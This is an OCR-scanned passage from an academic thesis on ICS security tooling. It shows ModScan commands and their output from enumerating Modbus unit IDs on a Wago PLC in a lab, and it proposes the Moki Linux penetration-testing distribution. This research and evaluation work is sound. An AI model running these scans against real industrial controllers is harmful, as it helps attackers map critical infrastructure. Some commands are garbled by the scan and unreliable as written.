

: -#  modscan 

Usage:  modscan  [options] 

IPRange 

Finds  modbus  devices  in  IP  range  and  determines  slave  id. 

Outputs  in  ip: port 

<tab>  sid  format. 

Options : 

0  if  1  1  1  1  1  I  l||  |l|  II  |  f  |  \ 

-  -version 

show  program's  version  number  and 

exit 

-h,  --help 

show  this  help  message  and  exit 

-p  PORT,  - -po rt=P0RT 

modbus  port  DEFAULT:502 

-t  TIMEOUT,  --timeout^ 

TIMEOUT 

socket  timeout  (mills)  DEFAULT:5O0 

-a,  --aggressive 

continues  checking  past  first  found  SID 

-f  FUNCTION,  --function=FUNCTION 

MODBUS  Function  Code  DEFAULT:  17 

- -data=FDATA 

MODBUS  Function  Data.  Unicode  escaped  "\tf\ 

-v,  --verbose 

returns  verbose  output 

-df  --debug_ 

returns  extremely  verbose  output 

Figure  61.  modscan  list  of  options 


We  ran  the  ModScan  tool  using  the  Wago  PLCs  IP  address  as  the  target  IP  and 

left  all  default  options  listed  in  Figure  61  unchanged.  Figure  62  below  illustrates  what  the 

tool  returned  after  executing  the  command.  The  tool  did  not  return  any  positive  scan 

result  from  the  PLC  on  the  192.68.1.1  IP  address.  Upon  further  investigation,  we 

discovered  the  Wago  750-841  PLC  does  not  support  Function  Code  Oxll  (Report  Slave 

ID)  [39].  Individual  packet  analysis  of  the  response  from  the  Modbus  server  (PLC) 
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indicates  that  the  server  responds  with  an  “Illegal  Function  Code”  Error  Code, 
confirming  that  the  Wago  750-841  PLC  does  not  support  Function  Code  0x11,  which  is 
the  default  Function  Code  for  the  ModScan  tool. 


:■-#  modscan  192.168.1.1 
Starting  Scan .  .  . 

Scan  Complete. _ 


Figure  62.  modscan  command  using  default  Function  Code  17 

We  used  the  option  of  ModScan  to  change  the  Function  Code.  Changing  the 
Function  Code  requires  modifying  the  data  field  by  using  the  data ”  option  on  most 
Function  Codes  because  the  hard-coded  data  field  in  the  ModScan  tool  is  tailored  for 
Function  Code  0x11.  Using  Function  Code  0x01  (Read  Coils),  we  modified  the  data  field 
with  “\x00 \x00\ 00 \x08”  (see  Figure  63).  We  used  the  data  from  Mark  Bristow’s  DEF 
CON  16  talk  as  a  guide  to  building  a  data  input  that  returns  a  scan  on  the  PLC  [46].  The 
output  format  is  “IP  address  :  Port  number  \  Unit  ID.” 


modscan  -f  1  - -data="\x00\x00\x00\x08"  192.168.1.1 
Starting  Scan . . . 

192.168.1.1:502  1 

Scan  Complete. _ 


Figure  63.  modscan  command  using  Function  Code  0x01  (Read  Coils) 

Another  useful  option  ModScan  has  is  the  aggressive ”  option.  Similar  to 
PLCScan’s  “-brute-uid”  option,  the  aggressive  option  continues  to  scan  a  target  IP 
address,  iterating  through  all  possible  Unit  IDs,  after  it  finds  an  initial  Unit  ID.  This 
feature  is  especially  beneficial  when  targeting  the  IP  addresses  of  gateways  that  are 
connected  to  multiple  PLCs.  When  the  ModScan  tool  is  executed  with  the  “— aggressive ” 
option,  the  Wago  750-841  PLC  returns  Unit  IDs  1  through  246  (see  Figure  64).  It  is  not 
specified  in  the  Wago  750-841  manual  whether  this  is  the  default  setting  [39].  It  is 
uncertain  whether  this  is  set  as  part  of  Tofino  SCADA  Simulator  default  parameters. 
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-t 

:-#  modscan  -f  1  -a  ■ 

-  -data=M\x00\x00\x00\x08 11  192.168.1.1 

Starting 

1  Scan  .  .  , 

192 

.168. 

1 

.1 

502 

1 

192 

.168. 
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.1 
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Figure  64.  modscan  command  using  Function  Code  0x01  (Read  Coils)  in 

aggressive  mode 


Figure  65  lists  some  of  the  Function  Codes  that  are  supported  by  the  Wago  750- 
841  PLC  as  specified  in  the  manual  [39].  Function  Codes  1,  2,  3,  4,  5,  6,  11,  15,  16,  22, 
and  23  are  supported  [39],  We  tested  all  supported  Function  Codes  and  were  successful 
in  receiving  positive  scan  results  for  all  supported  Function  Codes.  Each  Function  Code 
requires  varying  data  inputs  for  the  ModScan  tool  to  do  a  successful  scan.  Using  the 
ModScan  tool  requires  a  basic  understanding  of  what  each  Function  Code  does  and  the 
types  of  information  in  each  Function  Codes  data  field. 
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:-#  modscan  -f  2  - -data^'VxGGXxGGXxGGXxGS"  192.168.1.1 
Starting  Scan  .  .  . 

192.168.1.1:502  1 
Scan  Complete. 

:-#  modscan  -f  15  - -data=ll\xG0\x00\x0G\xl0\x02M  192.168.1.1 
Starting  Scan  .  .  . 

192.168.1.1:502  1 
Scan  Complete. 

:~#  modscan  -f  4  -data=ll\x0G\x0G\x0G\x01\x02M  192.168.1.1 
Starting  Scan  .  .  . 

192.168.1.1:502  1 
Scan  Complete. 

:-#  modscan  -f  3  - -data=ll\x0G\x0G\x0G\xG2M  192.168.1.1 
Starting  Scan  .  .  . 

192.168.1.1:502  1 
Scan  Complete. 

modscan  -f  23  - -data=ll\xG0\xG0\x0G\x02\xG0\xG311  192.168.1.1 
Starting  Scan  .  .  . 

192.168.1.1:502  1 

Scan  Complete^ _ 


Figure  65.  modscan  command  using  Function  Codes  2,  3,  4,  15,  and  23 
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VI.  MOKI  LINUX  DISTRIBUTION 


In  this  chapter,  we  motivate  the  construction  of  a  new,  custom  Linux  distribution 
tailored  for  ICS  penetration  testing  and  defense,  called  Moki  Linux.  As  our  survey  has 
shown,  there  is  no  tools  distribution  subsuming  all  existing  ICS-related  tools.  Rather, 
existing  distributions  are  maintained  for  special-purpose  training  and  only  carry  a  subset 
of  the  available  tools.  Further,  lack  of  documentation  and  lack  of  support  motivates 
developing  some  distribution  with  a  demonstrably  correct  configuration  for  these  tools, 
giving  confidence  to  users  that  they  are  working  as  expected. 

In  our  survey,  we  observed  that  many  tools  are  available  from  code  repositories 
scattered  across  the  Internet,  such  as  various  GitHub  and  Google  Code  repositories. 
Despite  the  wealth  of  tools  available  aggregated  by  Digital  Bond,  there  is  no  single 
distribution,  website  or  repository  through  which  all  of  these  resources  are  available. 
Further,  we  discovered  many  tools  are  poorly  documented,  are  non-trivial  to  install  or 
configure,  and  lack  basic  methods  to  demonstrate  their  correct  functionality.  It  may 
appear  to  users  that  tools  are  not  behaving  properly,  due  to  simple  misconfiguration  or  a 
broken  install  process.  Conversely,  it  may  appear  to  users  that  tools  are  functioning 
correctly,  when  in  fact  the  error  messages  are  misleading  and  non-trivial  test  cases  to 
demonstrate  the  actual  logic  are  inaccessible.  For  example,  in  the  case  of  the  Modbus 
Metasploit  module,  modbusclient,  there  was  no  documentation  describing  how  to  change 
the  default  Modbus  function  code.  As  another  example,  the  PLCScan  tool  uses  function 
code  43  to  request  the  PLC  output  device  information  by  default.  For  PLCs  that  do  not 
support  this  feature — like  the  Wago  750-841  PLC  used  in  our  test  environment — the 
output  message  (“Device  info  error:  ILLEGAL  FUNCTION”)  appears  to  users  like  an 
error. 

In  this  work,  we  have  begun  the  task  of  developing  a  customized  Kali  distribution 
designed  for  research  in  ICS  security,  to  include  all  available  ICS  tools.  The  Moki  Linux 
distribution  builds  on  the  Kali  Linux  distribution.  We  selected  Kali  due  to  its  popularity 
as  a  platform  for  penetration  testing.  A  future  goal  is  for  Moki  to  be  used  either  as  an 

enhancement  to  Kali  (for  penetration  testing  tools  for  ICS)  or  to  Security  Onion  (with 
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defensive  tools  tailored  for  the  ICS  domain),  depending  on  the  needs  of  the  end-user. 
Currently,  Moki  distribution  install  scripts  are  available  from  GitHub  [49],  The  Moki 
scripts  support  installing  all  the  tools  evaluated  in  this  thesis  (i.e.,  Quickdraw,  PLCScan, 
CoDeSys  runtime  shell  exploit,  ModScan).  Options  are  available  to  install  Snort  with 
Digital  Bond’s  Quickdraw  IDS  rules,  with  logic  to  amend  the  existing  Snort 
configuration  and  test  the  installation  with  sample  traffic.  The  goal  of  the  Moki 
distribution  is  to  help  new  users  overcome  many  of  the  difficulties  we  encountered  in 
evaluating  these  tools.  We  are  optimistic  that  others  working  in  this  domain  may  see 
value  in  simplifying  the  installation  of  ICS  tools,  and  may  fork  or  contribute  to  the  Moki 
distribution. 
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VII.  CONCLUSION 


The  growing  importance  of  Industrial  Control  Systems  in  today’s  increasingly 
interconnected  systems  warrants  their  study.  Securing  these  systems  is  vital  to  our 
national  security,  in  light  of  the  grave  consequences  where  our  nation’s  critical 
infrastructure  is  disrupted  or  otherwise  impacted  by  cyber  attack.  The  lack  of  a 
centralized  repository  of  tools  to  experiment  with  ICS  systems  from  a  cyber-security 
perspective  makes  this  task  difficult. 

A.  SUMMARY 

In  this  work,  we  have  surveyed  publicly  available  defensive  and  adversarial  ICS- 
related  tools.  We  found  two  primary  penetration  testing  tools  distributions  (INL’s  Kali 
Linux  and  SamuraiSTFU)  developed  primarily  for  ICS-related  training  courses.  We 
highlighted  many  tools — found  in  neither  distribution — that  are  publically  available  from 
repositories  and  research  firms,  such  as  Digital  Bond.  We  conducted  hands-on  evaluation 
of  select  tools  to  verify  their  availability  and  to  understand  their  operating  state,  including 
whether  each  works  as  described  and  has  appropriate  documentation  to  guide  installation 
and  use.  We  discovered  that  many  tools  are  poorly  documented,  with  features  and 
functionality  inaccessible  without  prior  technical  knowledge  of  various  protocols  and  in- 
depth  analysis  of  the  source  code. 

The  result  of  our  survey  and  evaluation  culminates  in  a  proposed  distribution  for 
these  tools.  Moki  Linux  is  an  ICS-centric  version  of  Kali  Linux  tailored  with  defensive 
and  adversarial  tools  for  security  researchers  in  the  ICS  domain.  Our  first  release  of  Moki 
Linux  establishes  a  foundation  on  which  other  developers  can  build,  to  demonstrate  how 
to  install  and  configure  their  tools.  Moki  Linux  is  released  as  an  open  source  custom 
Linux  distribution,  via  GitHub,  with  the  intention  that  it  may  evolve  and  incorporate  new 
tools,  as  they  are  developed. 
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B.  FUTURE  RESEARCH 

Future  research  topics  related  to  our  study  include  the  continued  hands-on 
evaluation  of  defensive  and  adversarial  ICS  tools,  the  documentation  of  ICS-related  tools, 
and  the  expansion  of  the  Moki  Linux  distribution. 

Our  survey  was  limited  to  ICS-related  tools  available  as  of  September  2014. 
Technology  advances  and  new  research  continuously  change  the  state  of  ICS 
vulnerabilities  known  today,  and  thus  inspire  new  tools  and  techniques  to  exploit  and 
defend  against  them.  Our  survey  of  defensive  and  adversarial  ICS-related  tools  may  need 
to  be  expanded  and  re-evaluated  as  the  state  of  research  progresses.  Furthermore,  in  this 
work,  we  evaluated  only  a  small  number  of  the  available  tools  for  this  domain.  Hands-on 
experimentation  with  existing  tools  may  help  the  ICS  community  understand  which  tools 
need  better  documentation,  which  tools  cease  to  be  demonstrably  useful  and  which  tools 
require  updates.  Finally,  tools  that  no  longer  work  “as  advertised”  may  warrant  being 
improved  or  fixed. 

We  intend  that  developers  expand  the  Moki  Linux  distribution  to  support  all  tools 
that  may  be  useful  for  security  research  in  the  ICS  domain.  As  such,  expansion  of  Moki  is 
crucial  to  keep  pace  with  development  of  new  tools  and  exploits.  Demonstrating  how  to 
install  and  use  tools  by  incorporating  them  into  the  Moki  distribution  will  be  beneficial  to 
the  ICS  community  and  is  worthy  of  future  research,  broadening  the  set  of  resources 
available  to  ICS  security  professionals. 
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